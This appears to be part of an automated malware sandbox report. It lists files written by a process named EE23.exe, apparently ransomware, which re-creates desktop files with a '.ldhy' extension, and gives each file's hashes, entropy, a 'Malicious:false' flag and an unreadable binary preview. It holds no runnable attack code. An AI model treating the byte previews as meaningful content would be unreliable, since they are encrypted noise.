                                                                                                                                                                                                                                                              Preview:NVWZA1..$.?.......Q.h6X..m..i.pA.R!q.\~C..E.w....@.eBn...A..U=<.K...Z{.?..n`g.B_>n.JN.0.ef3.jR.........{.FA.....@.......Lfu/..2.....*N.....Y..\.%..a0......h....I......P....L9.f....+..m.Q...h.....N...(....p....5&......\Ge..Ll.A'..O=.....X"4.. ..N.p.m..c.?+Z..V..dC...J..\..b.....LWT.U...i......2.=.....RY.I....p-.H.T...F..%.t..^..c.(.e..0...!.!....Ug..%.9R..l2...E...Xdw&qZ..e.......{] ............*=+6(G.J...Jr....B\...@.6.;..g..T5.:>..:.X..\Q~0.?../.d.^.;uI:1(.>....|..q... ..x.{..g.......o..V.Y!M.......t.%..//.....u......t..!O. .{..8C...^X.[.%......:j$`d ..kKl,5.#......}[.^.*...?N..9.&..d..q.....=.S..G.:..X..v[-#...)pek.H.......8B.CJ.#L..P_..-......++....w.M<...p...]........o0..............e...F...4.O".4...S#...&IGh.....uU....Q...O...f..".lk..T.._y....=D.y...J.'v9.u(.99uOn.6...2.QV..X.c...Y...k...S>gITx.$z,0.{.0.d`D^....U.i,..g.v...E...;.Lr.ej.Z.H..B....G..@..=m.......!.aD.d..)*?.7<$^W..d9U.M.w..cG}QuE._..%..R&.&N.\.P.......v.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.837193603237507
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TtzhX33aHrgfAq0FUdU4ASTQLz0G3RfMZkf4CH1pwZaC4cXsbD:JhX33aHrgfAqyUW1zd3N1pwkhcXmD
                                                                                                                                                                                                                                                              MD5:5748ED4C80A185427ECC8CA755BECEBC
                                                                                                                                                                                                                                                              SHA1:FA8265BA1D0296C3B1873B78F91580E064E57256
                                                                                                                                                                                                                                                              SHA-256:9306C8FBB5C7CC43296900039BA451090BA192103D4133E32C53445453971C3A
                                                                                                                                                                                                                                                              SHA-512:BAD622CF6889AF6A17DBC37790021EAD81704EE34DB87D3AA88CE7319A50FE8035EEDD9AAD9E76732F9B5FAF22A3E6E2B77664761BA500A2257A045F5F06D02F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.J:..q.qu...G![.^......y\..]..,_mY<...W+.MO.b~dE..NR....OFP0.].@...&......7.x.4...g..G.......@........V..&.. .f...FL|..hp.}A......crz...n.....'7.H$...[...w.I..{..U.QSNm..-...a...Zj.2^.......o..!z.../".sH..}.H....a.(j......o.G..+.I.{...S..C.Dws.sWm.......-...n....X8.....1..GUl~U.;..?..Y `.8.M+..[...@.`....4......h.x..b:7b...'......a..K.g~..7...:...x......... ..oA....{SZ].n8...#.].~.Er...NO.?.2X\_..r.....?.'f}+.vZi..7....=.a:..5...wh.5../1.W`|MZ-;.)?z..k..3..rgO1..<..f.....4D./..s..T_..1-..;.....B.^FB_..$..w.2. .o..9p.*.@E.1.e..!>..V*.6..W>d.....CL..s..-.....$McH......3C.*..E...(...B7Y.....E.gq.5..,......h.+..9..;.A..==.. .J..6.M....,.."H...D.......0G...\..$.B<.\...>....D...q..n\Osd.nG....V.4m.h.s...R....;D.......,..s.z........E.=..........$...#/..;'......V.....<E.3..6.z.w.{....X.tr........{v.I.)i....@.^..<< ...%.q...s.8^a.....0...~.a.*.rnQ.=....I.I..?..4)I.n...dy...'X....U....i@.i}.:..,\..4<t...j..-.(.<../1'gH.?'....#...(..&.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\PALRGUCVEH.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.837193603237507
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:TtzhX33aHrgfAq0FUdU4ASTQLz0G3RfMZkf4CH1pwZaC4cXsbD:JhX33aHrgfAqyUW1zd3N1pwkhcXmD
                                                                                                                                                                                                                                                              MD5:5748ED4C80A185427ECC8CA755BECEBC
                                                                                                                                                                                                                                                              SHA1:FA8265BA1D0296C3B1873B78F91580E064E57256
                                                                                                                                                                                                                                                              SHA-256:9306C8FBB5C7CC43296900039BA451090BA192103D4133E32C53445453971C3A
                                                                                                                                                                                                                                                              SHA-512:BAD622CF6889AF6A17DBC37790021EAD81704EE34DB87D3AA88CE7319A50FE8035EEDD9AAD9E76732F9B5FAF22A3E6E2B77664761BA500A2257A045F5F06D02F
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.J:..q.qu...G![.^......y\..]..,_mY<...W+.MO.b~dE..NR....OFP0.].@...&......7.x.4...g..G.......@........V..&.. .f...FL|..hp.}A......crz...n.....'7.H$...[...w.I..{..U.QSNm..-...a...Zj.2^.......o..!z.../".sH..}.H....a.(j......o.G..+.I.{...S..C.Dws.sWm.......-...n....X8.....1..GUl~U.;..?..Y `.8.M+..[...@.`....4......h.x..b:7b...'......a..K.g~..7...:...x......... ..oA....{SZ].n8...#.].~.Er...NO.?.2X\_..r.....?.'f}+.vZi..7....=.a:..5...wh.5../1.W`|MZ-;.)?z..k..3..rgO1..<..f.....4D./..s..T_..1-..;.....B.^FB_..$..w.2. .o..9p.*.@E.1.e..!>..V*.6..W>d.....CL..s..-.....$McH......3C.*..E...(...B7Y.....E.gq.5..,......h.+..9..;.A..==.. .J..6.M....,.."H...D.......0G...\..$.B<.\...>....D...q..n\Osd.nG....V.4m.h.s...R....;D.......,..s.z........E.=..........$...#/..;'......V.....<E.3..6.z.w.{....X.tr........{v.I.)i....@.^..<< ...%.q...s.8^a.....0...~.a.*.rnQ.=....I.I..?..4)I.n...dy...'X....U....i@.i}.:..,\..4<t...j..-.(.<../1'gH.?'....#...(..&.

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\TQDFJHPUIU.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839609328782042
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vaqYDnpwbd34gjO/I9zDabw+mGx4rdcN3lUgRz5DcD/404gD7noIcPu4o7oqVUsX:v0pwbS09SbJx0eNBz8/jhcP1moCUmD
                                                                                                                                                                                                                                                              MD5:18B775CE1FC0EDCC0146D42C3126CFD5
                                                                                                                                                                                                                                                              SHA1:FBF89005A07B12FF321D3008ECACEF25DCE274D7
                                                                                                                                                                                                                                                              SHA-256:5E96C1811F33FED34EECCC69DC7D8E91C4EB337A784056180A31E5343D1DD00B
                                                                                                                                                                                                                                                              SHA-512:4F0D0374BCF79E0B3A34D52E26530FBF4F08DC5CD19359875F333EB3EF501598C6AEB6FC7454D503871308490437E44EB840831ECBBE2C690247B82776EA0AF3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ...m#.....m5.....1R...0.v.J.xO#.......g....n.t7.'.......AhZ<..8?.(..P.'\..18$1BN]..J|..b.....%....{$.]..0*i..6m,rL.G.~.O...~...@...s#l.....p%?.LM..A..;....ak[.......$o ..-.)c{n&.W$..eN..RV.........rG.u.}..$.(..U(.8~<..X...,..{..,;."..t.{..`I.9.)...*.D..RJ;..8L.}.$..!^..P...!........:..;v.$ZY...$A.?...}r...N..u.'...3.O...F3.Dz..^\pR.(...r...d.....I.G{..*U..f-.'....N...?..m.o.@..i...._.Z.....+....Q....E..z./.'g...CD&-.. .d....a+v.yUoz...'.I....oC...... ...f..t:f..).......k.3 gGZ...W;}/H..J..d....9~e.%...(.%J.;v.*".6P.BI}].m{A._.6a.. .y../.zp.{.^.{..QZ?...E..%.=.=|e...LCu.w:=..}.. ......x0...(.M..1ka.h.....E .!.:PXiU.Yj....fI..vT..+.B.............v^M...\S0...F....zk..Ej.*...B|kG...:...K...P..0.l....4?....^....@CK.2.N.^.u.N....{e.W.<..$..r3..T...r*c@(.j.W.<.l...,.....b...b}..1...O.e..].......=4q.....s.oNU.0..`h..E...8...uj.,T....s..x|.j.p..t..z.R-...U.%....5.T...#.6..W.,M.["E]0.+@.>x...>...4.).C..$.P.E.....M..................

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\TQDFJHPUIU.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.839609328782042
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:vaqYDnpwbd34gjO/I9zDabw+mGx4rdcN3lUgRz5DcD/404gD7noIcPu4o7oqVUsX:v0pwbS09SbJx0eNBz8/jhcP1moCUmD
                                                                                                                                                                                                                                                              MD5:18B775CE1FC0EDCC0146D42C3126CFD5
                                                                                                                                                                                                                                                              SHA1:FBF89005A07B12FF321D3008ECACEF25DCE274D7
                                                                                                                                                                                                                                                              SHA-256:5E96C1811F33FED34EECCC69DC7D8E91C4EB337A784056180A31E5343D1DD00B
                                                                                                                                                                                                                                                              SHA-512:4F0D0374BCF79E0B3A34D52E26530FBF4F08DC5CD19359875F333EB3EF501598C6AEB6FC7454D503871308490437E44EB840831ECBBE2C690247B82776EA0AF3
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJ...m#.....m5.....1R...0.v.J.xO#.......g....n.t7.'.......AhZ<..8?.(..P.'\..18$1BN]..J|..b.....%....{$.]..0*i..6m,rL.G.~.O...~...@...s#l.....p%?.LM..A..;....ak[.......$o ..-.)c{n&.W$..eN..RV.........rG.u.}..$.(..U(.8~<..X...,..{..,;."..t.{..`I.9.)...*.D..RJ;..8L.}.$..!^..P...!........:..;v.$ZY...$A.?...}r...N..u.'...3.O...F3.Dz..^\pR.(...r...d.....I.G{..*U..f-.'....N...?..m.o.@..i...._.Z.....+....Q....E..z./.'g...CD&-.. .d....a+v.yUoz...'.I....oC...... ...f..t:f..).......k.3 gGZ...W;}/H..J..d....9~e.%...(.%J.;v.*".6P.BI}].m{A._.6a.. .y../.zp.{.^.{..QZ?...E..%.=.=|e...LCu.w:=..}.. ......x0...(.M..1ka.h.....E .!.:PXiU.Yj....fI..vT..+.B.............v^M...\S0...F....zk..Ej.*...B|kG...:...K...P..0.l....4?....^....@CK.2.N.^.u.N....{e.W.<..$..r3..T...r*c@(.j.W.<.l...,.....b...b}..1...O.e..].......=4q.....s.oNU.0..`h..E...8...uj.,T....s..x|.j.p..t..z.R-...U.%....5.T...#.6..W.,M.["E]0.+@.>x...>...4.).C..$.P.E.....M..................

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\UNKRLCVOHV.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8580579896179445
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:duMeZNGp+sxkcC8bGAJaZJtOETUCDn5KHG9+CfMYECxoprJqsbD:duMeZNAnnaAEZOEwCb5KHGkuMfCx0rJr
                                                                                                                                                                                                                                                              MD5:32524B3576DB280A262EE62712F2BB52
                                                                                                                                                                                                                                                              SHA1:B501CDED79AAACAD48F7EA413D279403EB0147D8
                                                                                                                                                                                                                                                              SHA-256:E9F51187FB8EE6968ED81D216332A0E4075CB50A5D1D2F1D0D6693C8AD94D0CC
                                                                                                                                                                                                                                                              SHA-512:0E74866B12CE77A3E1E31B11F3EEECE12C2C52CB29FE8A5EE422B12F8630621E453D458BE9937E786BE979D4E32B783872E38AC0F0415200F78562A2229E4990
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL...t..o..s.....G).7|7....5.G....6+..N........E..CQT.i.P...]T@."...w].<A......O./.u...r.S./$.....v...R.....A..\..'?E.S.vn.~.R.W..vD.Vl.t.........m.Z.KL.j...>.`.3..O..4.. q{4N.............-<q.=+..x./...Gz/.....=.....w.P.DD....|.y|...x..."Q..B....W....6.e.e~u.h1m7+.$.\......e.....:ISG....,...\....^4..Wn-..$..W.0..^%M4hJ...."..BM..a.u2.!.(.#T'H..y....9(7....Y...N.r.r.....3..h..m}.....8<F:.Z,......./.r.!....=+..*......>.=.h..G.q.u. aT._.+........ylMpa...mL.@__W............>.4.....u...gm..`}4W..l.jf...C..;..(.......G0ml.y{z?....)...Q.nI..{.3'_....).....&..@..gQ...O.[.9. ..V...N..>t3....."..R[G...]ox..`._..l..^..vf.......f.5.E.eC2Uf*....6...(.,.I..%e...2..... ..n....................C..m..=........:.F.,{.-.N.`^........f....9...%......-i....<....M.I8...X]......N.......WL"v1...*.....y...W..<...5.A....u..H(.....5.]..|..,.B|.........(.O.4:...gl.....3.. .]hg..f......h...`...Y.Gv....X.I.M..Gj.'G..X..`..h.,.m...@]}j7.M.Xl$Ve{.=.=f&U9...@V...%

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\UNKRLCVOHV.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8580579896179445
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:duMeZNGp+sxkcC8bGAJaZJtOETUCDn5KHG9+CfMYECxoprJqsbD:duMeZNAnnaAEZOEwCb5KHGkuMfCx0rJr
                                                                                                                                                                                                                                                              MD5:32524B3576DB280A262EE62712F2BB52
                                                                                                                                                                                                                                                              SHA1:B501CDED79AAACAD48F7EA413D279403EB0147D8
                                                                                                                                                                                                                                                              SHA-256:E9F51187FB8EE6968ED81D216332A0E4075CB50A5D1D2F1D0D6693C8AD94D0CC
                                                                                                                                                                                                                                                              SHA-512:0E74866B12CE77A3E1E31B11F3EEECE12C2C52CB29FE8A5EE422B12F8630621E453D458BE9937E786BE979D4E32B783872E38AC0F0415200F78562A2229E4990
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL...t..o..s.....G).7|7....5.G....6+..N........E..CQT.i.P...]T@."...w].<A......O./.u...r.S./$.....v...R.....A..\..'?E.S.vn.~.R.W..vD.Vl.t.........m.Z.KL.j...>.`.3..O..4.. q{4N.............-<q.=+..x./...Gz/.....=.....w.P.DD....|.y|...x..."Q..B....W....6.e.e~u.h1m7+.$.\......e.....:ISG....,...\....^4..Wn-..$..W.0..^%M4hJ...."..BM..a.u2.!.(.#T'H..y....9(7....Y...N.r.r.....3..h..m}.....8<F:.Z,......./.r.!....=+..*......>.=.h..G.q.u. aT._.+........ylMpa...mL.@__W............>.4.....u...gm..`}4W..l.jf...C..;..(.......G0ml.y{z?....)...Q.nI..{.3'_....).....&..@..gQ...O.[.9. ..V...N..>t3....."..R[G...]ox..`._..l..^..vf.......f.5.E.eC2Uf*....6...(.,.I..%e...2..... ..n....................C..m..=........:.F.,{.-.N.`^........f....9...%......-i....<....M.I8...X]......N.......WL"v1...*.....y...W..<...5.A....u..H(.....5.]..|..,.B|.........(.O.4:...gl.....3.. .]hg..f......h...`...Y.Gv....X.I.M..Gj.'G..X..`..h.,.m...@]}j7.M.Xl$Ve{.=.=f&U9...@V...%

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855789757939648
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Lyyq8Ts6hUBbrELGbKHPwqAJXy6WjUcKnw/eIYdPGOKXl617DY9CNNUCCsbD:Lyyq8srgQikwQdeXI175NNFCmD
                                                                                                                                                                                                                                                              MD5:95B317AE0855BBC9125EC8BA9751CFA1
                                                                                                                                                                                                                                                              SHA1:21E11A233DE06CFAF641A9100978C20994F794FB
                                                                                                                                                                                                                                                              SHA-256:91606B53B15F795F2BB3F7A6D925B47C36FD6300D68E69B532B2417A31BED952
                                                                                                                                                                                                                                                              SHA-512:8962448B32F500883344E2FD4E7ED75BD171B8F6D79487662EEFF37D4CBFAB8A4682C991E2984163FCCF894AF6B1760E82CA602A6B757A81AC34456C4C11F77E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY./Wd........}....c.....7j5u.#>....-.:.R6b.g.....|d..?<.7R0..'1/..J.a|.x..............9j..Lze.B...C..j....i...,...S...c.....C}...x..CyLE>...c.Q(.SLa.._.................:Y{.._>p.G.1.!...h.g.UNH.. W...r....VfhD.....TV."./..4.'.........I...r........"...oCh^@......7_f.'=.....\D2}l.bW.x\.7d%..h.Q..E....'.`....6..Y.C...]YG..(..?.....{...0".$K...c...v8`;...1.f.....}...><..M..n...e...........KU..k.......Yl.....PV\.W.."....,....tw..P......I...]8...S#.v.QU...u.C..k'.&M...aQQ...\\.IX.V s..2.......z...%......w.#..;...&.^*t.1.Nv..1I{.!M...D!..."...Z..&.__.O...^k.o....l+m.(K...a..|.!.~...~..."t'...1 .>.8W..Gv[.1.&-!.@..F.F-.w.......q..K...Vu.....S..Q.b....a..a....z.Bm....a..u*".p |..}.Zc.J.8z...=sPm@9...~..........)b.4......e:^...._['W."..}..U...w..F...A..P....{.....L..I..M6.....]...2..S.n.F.v...S. D.tu.)...&.........A.4p.X.H...Qt.6Q...f4.&...+.....Eaq.%+=.....^.5.1.6W.......,5..4....;.s.qx..#..L.3.t..q2._P..Op|..O...NB~a...9..|2M.w......z..S+..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.855789757939648
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:Lyyq8Ts6hUBbrELGbKHPwqAJXy6WjUcKnw/eIYdPGOKXl617DY9CNNUCCsbD:Lyyq8srgQikwQdeXI175NNFCmD
                                                                                                                                                                                                                                                              MD5:95B317AE0855BBC9125EC8BA9751CFA1
                                                                                                                                                                                                                                                              SHA1:21E11A233DE06CFAF641A9100978C20994F794FB
                                                                                                                                                                                                                                                              SHA-256:91606B53B15F795F2BB3F7A6D925B47C36FD6300D68E69B532B2417A31BED952
                                                                                                                                                                                                                                                              SHA-512:8962448B32F500883344E2FD4E7ED75BD171B8F6D79487662EEFF37D4CBFAB8A4682C991E2984163FCCF894AF6B1760E82CA602A6B757A81AC34456C4C11F77E
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY./Wd........}....c.....7j5u.#>....-.:.R6b.g.....|d..?<.7R0..'1/..J.a|.x..............9j..Lze.B...C..j....i...,...S...c.....C}...x..CyLE>...c.Q(.SLa.._.................:Y{.._>p.G.1.!...h.g.UNH.. W...r....VfhD.....TV."./..4.'.........I...r........"...oCh^@......7_f.'=.....\D2}l.bW.x\.7d%..h.Q..E....'.`....6..Y.C...]YG..(..?.....{...0".$K...c...v8`;...1.f.....}...><..M..n...e...........KU..k.......Yl.....PV\.W.."....,....tw..P......I...]8...S#.v.QU...u.C..k'.&M...aQQ...\\.IX.V s..2.......z...%......w.#..;...&.^*t.1.Nv..1I{.!M...D!..."...Z..&.__.O...^k.o....l+m.(K...a..|.!.~...~..."t'...1 .>.8W..Gv[.1.&-!.@..F.F-.w.......q..K...Vu.....S..Q.b....a..a....z.Bm....a..u*".p |..}.Zc.J.8z...=sPm@9...~..........)b.4......e:^...._['W."..}..U...w..F...A..P....{.....L..I..M6.....]...2..S.n.F.v...S. D.tu.)...&.........A.4p.X.H...Qt.6Q...f4.&...+.....Eaq.%+=.....^.5.1.6W.......,5..4....;.s.qx..#..L.3.t..q2._P..Op|..O...NB~a...9..|2M.w......z..S+..

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833144199798176
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:dXbafnwOgiht902A8cHBTR/6emaT/X68awaDYQhT9/JYe1HnuUSB6pWh/2wLfsbD:t8nAiS2HqFR/6emaT/qfwaD3B9htHnuO
                                                                                                                                                                                                                                                              MD5:F1A7174905A4137241895065E3ADE707
                                                                                                                                                                                                                                                              SHA1:368657DB5D092B85D7B10FE9C141336AC251BE32
                                                                                                                                                                                                                                                              SHA-256:9E67460494A3D33856910CFFD3CB5FBCF4B68994D89028D9DCFBEF15FEEC9A1B
                                                                                                                                                                                                                                                              SHA-512:8372307641BE3318B4DF269E69769FCE5C7FF037042F59662C38DDC2618E3B74C62D40964FF304DEF8A311F8B6B8F71F607CC9E1BAECB8EE95EBFAFCC82ED8F0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG..a...X..P.8eR^......*.n...A}q..*..;..O..#S...4.u..!..&..,p.T...5.._m.ZTJ...S..;..j...%..C...>.v.W.1...A'g>...!.*....g-60...K4......=}....f.I....=Q.u..B...uf..B.F.I....!.....l........W.)..2.a..|Eh......pKb.3.$.....VlG.)msF.Z...6..N?.0.(.l2.+.....F/.JS...e.q.9.b.3..L.&m.ei.y#....m..L...gbk.`..1lR....k+....VC.}..SZ....KD.p.....;W.....7....|......n8.T...A....z.r.........4.*.}.,.6^.D.....BA.!e......%....3...V.}@>.t......%....q_..../....4..zN.qW....-DS..D.3...T..4.v...ejp|.._.T...q.......`+V.H.d.K..&*@_.,RRe.J..Hg/+....."...M.\.z...DW~L....L..|.|1.o=..y.3qS.~.Z.....A....-K....-..$A.&s..B..+..{r1...N)(,.9..t...../.A.Z.?;8.....z.YLU<.i.4x......5d.0...k..%J.V..].Q#...dj3/.|.t..H3.ju......S...!.sp.(..0r>.w,..|(......$9.[...,9]..o...`C..!6..R{...w.L`....f....te.0.m{.,..Q... .z...gf.|.......Sa..9W.H.[.o..0.Lo..].).._..t.,[Ys{.o.....r.{}..C...8.n*...|.<..>T....d..utW.4.czN.5>O.]..}.......}0$o...3d.S.R..h.hR..G..B$7.qw...-......z..8M..s!:Gc..z.0....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.833144199798176
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:dXbafnwOgiht902A8cHBTR/6emaT/X68awaDYQhT9/JYe1HnuUSB6pWh/2wLfsbD:t8nAiS2HqFR/6emaT/qfwaD3B9htHnuO
                                                                                                                                                                                                                                                              MD5:F1A7174905A4137241895065E3ADE707
                                                                                                                                                                                                                                                              SHA1:368657DB5D092B85D7B10FE9C141336AC251BE32
                                                                                                                                                                                                                                                              SHA-256:9E67460494A3D33856910CFFD3CB5FBCF4B68994D89028D9DCFBEF15FEEC9A1B
                                                                                                                                                                                                                                                              SHA-512:8372307641BE3318B4DF269E69769FCE5C7FF037042F59662C38DDC2618E3B74C62D40964FF304DEF8A311F8B6B8F71F607CC9E1BAECB8EE95EBFAFCC82ED8F0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG..a...X..P.8eR^......*.n...A}q..*..;..O..#S...4.u..!..&..,p.T...5.._m.ZTJ...S..;..j...%..C...>.v.W.1...A'g>...!.*....g-60...K4......=}....f.I....=Q.u..B...uf..B.F.I....!.....l........W.)..2.a..|Eh......pKb.3.$.....VlG.)msF.Z...6..N?.0.(.l2.+.....F/.JS...e.q.9.b.3..L.&m.ei.y#....m..L...gbk.`..1lR....k+....VC.}..SZ....KD.p.....;W.....7....|......n8.T...A....z.r.........4.*.}.,.6^.D.....BA.!e......%....3...V.}@>.t......%....q_..../....4..zN.qW....-DS..D.3...T..4.v...ejp|.._.T...q.......`+V.H.d.K..&*@_.,RRe.J..Hg/+....."...M.\.z...DW~L....L..|.|1.o=..y.3qS.~.Z.....A....-K....-..$A.&s..B..+..{r1...N)(,.9..t...../.A.Z.?;8.....z.YLU<.i.4x......5d.0...k..%J.V..].Q#...dj3/.|.t..H3.ju......S...!.sp.(..0r>.w,..|(......$9.[...,9]..o...`C..!6..R{...w.L`....f....te.0.m{.,..Q... .z...gf.|.......Sa..9W.H.[.o..0.Lo..].).._..t.,[Ys{.o.....r.{}..C...8.n*...|.<..>T....d..utW.4.czN.5>O.]..}.......}0$o...3d.S.R..h.hR..G..B$7.qw...-......z..8M..s!:Gc..z.0....

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.846203816528254
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:8igeac+AGtddACifP13mM00SLIijLoAYCCQCJ/lQQY4hx9cJsbD:b3ac+AgsCq1WM00SR3GCC1TuJmD
                                                                                                                                                                                                                                                              MD5:75545A02D26DE5367F762F746E1AA75A
                                                                                                                                                                                                                                                              SHA1:141BF0D3442FBFE8763DD1E653691F8B3096FA13
                                                                                                                                                                                                                                                              SHA-256:1AC5DA892A035F0FDB8B1B606D1E25A91336A8C9E172F5964879AEA69C5DBE09
                                                                                                                                                                                                                                                              SHA-512:3CD58C377F0F62B40113683DDD9FB4F82C6ACBCC6E35D42DF7F3150485956B8C0B406F4A02CC3F3F993257646087A95FFE3A97443EEC02C725C5422CDA38F199
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRG.u.......]!....{..fJ...a.6|h.a...!$c-.....M...g..3.8_n.?.1..l.;..B:Z..\%O.2...r....m<._J..%/.l...J..]|i........t|U.Y.........-.aE.v...f.q.T.H@..o.X.Nw.g........ZF.P.lAy....-.]..8..8.~F.gF.D.l.iv3.G`."......l..p.u..)...o.kY..yrd...V......]...+.K..........Q..u.......t">..7.Q..F^]g.')....Z.>s....%C%V.)4.$....X...X.En..f....^{H..g..i...jrM.&......:.^o.N..x{D....J.._..v.....zg.f..eO|....ja....=+1e...|sg....)..q..h...-.o.~....P.M..U.3v....J..#8.,..k..v5f<o. .zYm59......f......)TN..3..... .....JS1...V.w.x....]...&..[Ot.q.6.up....O...Q...M.L.:.t.O.-.y......X....r~...|v...kP.R..+..1.\...K...C5.,.[..OE...)b*.g.5'.f..u.UAU.[}..a..U....../.7...L.0....JP~.i KQ^P}...o...#3m_.V....o..O.N....y.e1.zP.q....K..n..E.S..q...i...O....."dCKfr...;.A.Y`r4..~..`.....e.B.....n..^.].>..#...j.d.k.,.x.;...6....0)%: .?p..CmE...`o..4e.........%.8.#`j....F6.Q):.......#...!.`....k]...4.......R...,...D.\........a<....D-..3.^B8i......Mg.I;..N*;PR.y..H.}x....{.5.^S...N...kw..b.#.aZ2

                                                                                                                                                                                                                                                              C:\Users\user\Desktop\PALRGUCVEH.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
